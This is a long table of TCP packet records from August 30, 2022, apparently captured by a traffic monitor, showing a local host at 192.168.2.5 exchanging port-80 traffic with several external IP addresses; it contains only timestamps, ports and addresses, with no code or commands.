Aug 30, 2022 15:55:08.716270924 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.716274977 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716357946 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.721457958 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721499920 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721530914 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721560001 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721591949 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721592903 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.721616983 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.721621990 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721652985 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721671104 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.721681118 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721713066 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721725941 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.721744061 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721772909 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721787930 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.721805096 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.721848011 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.726937056 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.726974964 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.726999998 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.727025032 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.727034092 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.727051020 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.727077007 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.727091074 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.727102041 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.727123022 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.727134943 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.727178097 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.934583902 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934642076 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934679985 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934720039 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934724092 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.934758902 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934782982 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.934801102 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934843063 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934870005 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.934890032 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934936047 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.934952974 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.934977055 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.935014963 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.935045004 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.939374924 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939435005 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939476013 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939516068 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939548969 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.939572096 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939578056 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.939615965 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939654112 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939677954 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.939693928 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939740896 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.939743996 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939799070 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939822912 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.939860106 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.939940929 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.945980072 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.946027040 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.946055889 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.946109056 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.062062979 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062098026 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062120914 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062139034 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062141895 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.062155962 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062179089 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062201023 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062206030 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.062223911 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062246084 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062268972 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.062352896 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.062375069 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.062381983 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.068414927 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068439007 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068545103 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068562984 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068591118 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.068615913 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.068631887 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068650007 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068666935 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068684101 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.068686962 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068705082 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068722010 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068727970 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.068742037 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.068751097 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.068795919 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.074784040 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074804068 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074866056 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.074879885 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074898005 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074913979 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074930906 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074949026 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074955940 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.074965954 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074984074 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.074986935 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.075001955 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.075017929 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.075017929 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.075037003 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.075052977 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.075089931 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.080441952 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080470085 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080579042 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.080760002 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080791950 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080812931 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080830097 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080904007 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080926895 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080949068 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080945969 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.080971956 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080991030 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.080996990 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.081022024 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.084348917 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084374905 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084397078 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084420919 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084441900 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084443092 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.084465027 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084470987 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.084486961 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084508896 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084517002 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.084531069 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084553003 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084557056 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.084574938 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084577084 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.084597111 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.084633112 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.088342905 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088372946 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088398933 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088407993 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.088428974 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088457108 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.088480949 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088540077 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.088560104 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088588953 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088615894 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088644028 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088644981 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.088670969 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088697910 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.088706970 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.088762999 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.092087030 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.092113018 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.092139006 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.092166901 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.092176914 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.092195034 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.092219114 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.092225075 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.092276096 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.248774052 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.248830080 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.248888969 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.248902082 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.248979092 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249011040 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249023914 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.249038935 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249068975 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249078035 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.249097109 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249125957 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249139071 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.249154091 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249183893 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.249196053 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.254812002 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.254848003 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.254865885 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.254873037 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.254899979 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.254911900 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.254923105 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.254950047 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.254964113 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.254973888 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.254997015 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.255011082 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.255021095 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.255043983 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.255059958 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.255068064 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.255116940 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.260582924 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260612965 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260633945 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260657072 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260675907 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260696888 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260720968 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260740042 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260755062 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.260761976 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260786057 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260791063 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.260809898 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260832071 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.260847092 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.260870934 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.266592026 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266625881 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266650915 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266674995 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266681910 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.266700029 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266716957 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.266724110 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266743898 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266762018 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.266765118 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266787052 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266810894 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266814947 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.266833067 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.266858101 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.271976948 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272011995 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272033930 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272058010 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272068977 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.272078991 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272092104 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.272103071 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272126913 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272134066 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.272150040 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272170067 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.272198915 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.272222042 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.275794029 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.275825977 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.275849104 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.275873899 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.275882006 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.275897980 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.275923967 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.276114941 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.276140928 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.276163101 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.276168108 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.276187897 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.276215076 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.276271105 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.276319027 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.276321888 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279509068 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279540062 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279561996 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.279565096 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279594898 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279619932 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279627085 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.279642105 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279663086 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279669046 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.279685020 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279700994 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279720068 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.279721975 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:09.279743910 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.279772997 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.286696911 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:09.457773924 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:11.367721081 CEST	49741	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:55:11.495866060 CEST	80	49741	41.41.255.235	192.168.2.5
Aug 30, 2022 15:55:11.496779919 CEST	49741	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:55:11.496970892 CEST	49741	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:55:11.496993065 CEST	49741	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:55:11.598844051 CEST	80	49741	41.41.255.235	192.168.2.5
Aug 30, 2022 15:55:11.598934889 CEST	49741	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:55:11.599137068 CEST	49741	80	192.168.2.5	41.41.255.235
Aug 30, 2022 15:55:11.601109982 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:55:11.681623936 CEST	49742	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:55:11.682929993 CEST	80	49727	213.158.173.252	192.168.2.5
Aug 30, 2022 15:55:11.684019089 CEST	49727	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:55:11.701061964 CEST	80	49741	41.41.255.235	192.168.2.5
Aug 30, 2022 15:55:11.765558958 CEST	80	49742	213.158.173.252	192.168.2.5
Aug 30, 2022 15:55:11.765757084 CEST	49742	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:55:11.765908957 CEST	49742	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:55:11.765984058 CEST	49742	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:55:11.848557949 CEST	80	49742	213.158.173.252	192.168.2.5
Aug 30, 2022 15:55:11.849235058 CEST	80	49742	213.158.173.252	192.168.2.5
Aug 30, 2022 15:55:11.849260092 CEST	80	49742	213.158.173.252	192.168.2.5
Aug 30, 2022 15:55:11.849386930 CEST	49742	80	192.168.2.5	213.158.173.252
Aug 30, 2022 15:55:11.924313068 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:12.186325073 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:12.186430931 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:12.186577082 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:12.186594009 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:12.448762894 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.235274076 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.235326052 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.235548019 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:13.497515917 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.497548103 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.497569084 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.497591019 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.497622967 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:13.497653961 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:13.759860992 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.759915113 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.759938955 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.759958029 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.759977102 CEST	80	49743	115.88.24.202	192.168.2.5
